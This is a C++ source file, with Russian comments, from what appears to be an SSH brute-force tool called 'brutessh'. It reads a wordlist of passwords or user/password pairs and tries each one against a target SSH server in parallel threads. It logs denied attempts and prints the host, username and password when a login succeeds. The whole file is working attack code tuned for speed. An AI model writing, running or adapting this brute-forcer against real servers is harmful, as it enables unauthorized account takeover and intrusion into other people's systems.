#include "file.h"
#include "ssh.h"
#include <iomanip> // setw
#include <sstream>
#include <stdexcept>

file_password::file_password(const std::string &file_name, log_out *logging,
                             int thread_max)
    : file(file_name), logging(logging), pool(thread_max) {}

/*
 * Функция отвечает за получение из файла данных для брутфорса в виде:
 *  1) "<password>"
 *  2) "<user> <password>"
 * И дальнейшая попытка подключение к ssh серверу по этому user, password
 * User передаётся через консоль при запуске файла './brutessh -u root ...'
 * или берётся из самого файла.
 * Если user был передан через консоль как параметр,
 * значит программа будет использовать его по умолчанию,
 * игнорируя других пользователей в списке для брута.
 */
void file_password::line_read_password(const std::string &host,
                                       const std::string &user, int port,
                                       bool method_user_password) {
  if (file.is_open()) {
    logging->write_log(log_out::ok, "Файл с паролями получилось открыть!");
    std::string line_data; // Строка из файла с паролями

    // Флаг, ответчающий за выход из цикла и завершения всех потоков
    bool result_itog = false;
    unsigned int kol_task = 0; // Кол-во запущенных задач в Thread Pool

    // Кол-во потоков доступные в Thread Pool
    // Специально создаём, чтобы не было много задач в очереди, будем
    // дожидаться их в цикле
    unsigned int kol_thread_count = pool.get_thread_count();
    // Тестирование потоков с флагом -f:
    // Потоки | время с логированием в файл | Время без файла
    // 8              7,8/9,8/11,7             9,8/11,6/11,7
    // 10             23,1/23,2/21,4           19,4/19,4/21,2
    // 16             11,7/13,8/15,6           11,7/13,8/15,5
    // Вывод: Для эфективной работы используем кол-во поток = кол-ву ядер в
    // процессоре

    // Читаем файл построчно
    while (std::getline(file, line_data) && !result_itog) {
      // Создаём задачу
      const std::future<void> my_future =
          pool.submit_task([line_data, user, &host, &port,
                            &method_user_password, &result_itog, this]() {
            // Для удобной конвертации большого текста в string строку
            std::ostringstream oss;

            int status; // Результат подбора пароля
            std::string user_file, password; // Нужен для флага -F

            ssh ssh_session(host, port, 5);

            if (method_user_password) {
              // Берём из файла имя пользователя и пароль
              // Используется при запуске флага -F
              std::istringstream iss(line_data);
              iss >> user_file; // Парсим 1-ое слово
              iss >> password;  // Парсим 2-ое слово
              status = ssh_session.ssh_auth_server(
                  password, user != "" ? user : user_file);
            } else {
              // Сразу передаём строку из файла(наш пароль) в метод
              // Используется при запуске флага -f
              status = ssh_session.ssh_auth_server(line_data, user);
            }
            switch (status) {
            case SSH_AUTH_DENIED: // Аутентификация не удалась, доступ запрещен.
              oss << "SSH auth denied User: '"
                  << (user_file != "" ? user_file : user) << "' Paswd: '"
                  << (password != "" ? password : line_data) << "'";
              logging->write_log(log_out::no_ok, oss.str());
              break;
            case SSH_AUTH_SUCCESS: // Аутентификация успешно завершена
              oss << "SSH AUTH SUCCESS!\n";
              oss << std::setw(24) << ""
                  << "Host: " << host << ":" << port << " \n";
              oss << std::setw(24) << ""
                  << "Username: " << (user_file != "" ? user_file : user)
                  << "\n"
                  << std::setw(24) << ""
                  << "Password: " << (password != "" ? password : line_data);
              logging->write_log(log_out::ok, oss.str());
              result_itog = true;
              break;
            case SSH_AUTH_PARTIAL: // Аутентификация требует дополнительных
                                   // этапов или информации.
              oss << "SSH auth partial User: '"
                  << (user_file != "" ? user_file : user) << "' Paswd: '"
                  << (password != "" ? password : line_data) << "'";
              logging->write_log(log_out::warring, oss.str());
              break;
            case SSH_AUTH_AGAIN: // Требуется повторная попытка аутентификации.
              oss << "SSH auth again User: '"
                  << (user_file != "" ? user_file : user) << "' Paswd: '"
                  << (password != "" ? password : line_data) << "'";

              logging->write_log(log_out::warring, oss.str());
              break;
            case SSH_AUTH_ERROR:
              throw std::runtime_error("SSH auth ERROR");
            default:
              throw std::runtime_error(
                  "Не получилось узнать статус подключения к серверу!\nВ "
                  "списке программ "
                  "нету данного статуса: " +
                  std::to_string(status));
            }
          });
      kol_task++;

      // Будем дожидаться, если кол-во запущенных задач не превышало кол-ву
      // потоков доступных в pool. Если убрать данную проверку, цикл while
      // создаст очень много задач в очередь и если будет маленький файл с
      // паролями, то будут выведены все пароли включая неверные и будет много
      // ненужных данных в терминале вместо верного пароля
      if (kol_task >= kol_thread_count) {
        pool.wait();
        kol_task = 0;
      }
    }
    if (result_itog) {
      // Мы нашли пароль
      pool.purge(); // Завершаем все потоки в очереди
      pool.wait(); // Дожидаемся завершения остальных

      logging->write_log(log_out::none_info, "A fun break in the world! ;)");
    } else {
      // Перебрали весь словарь с паролями
      pool.wait();
      logging->write_log(log_out::none_info, "Bye");
    }
  } else {
    throw std::runtime_error("Не получилось открыть файл с паролями!");
  }
}

file_password::~file_password() {
  if (file.is_open()) {
    file.close();
  }
}
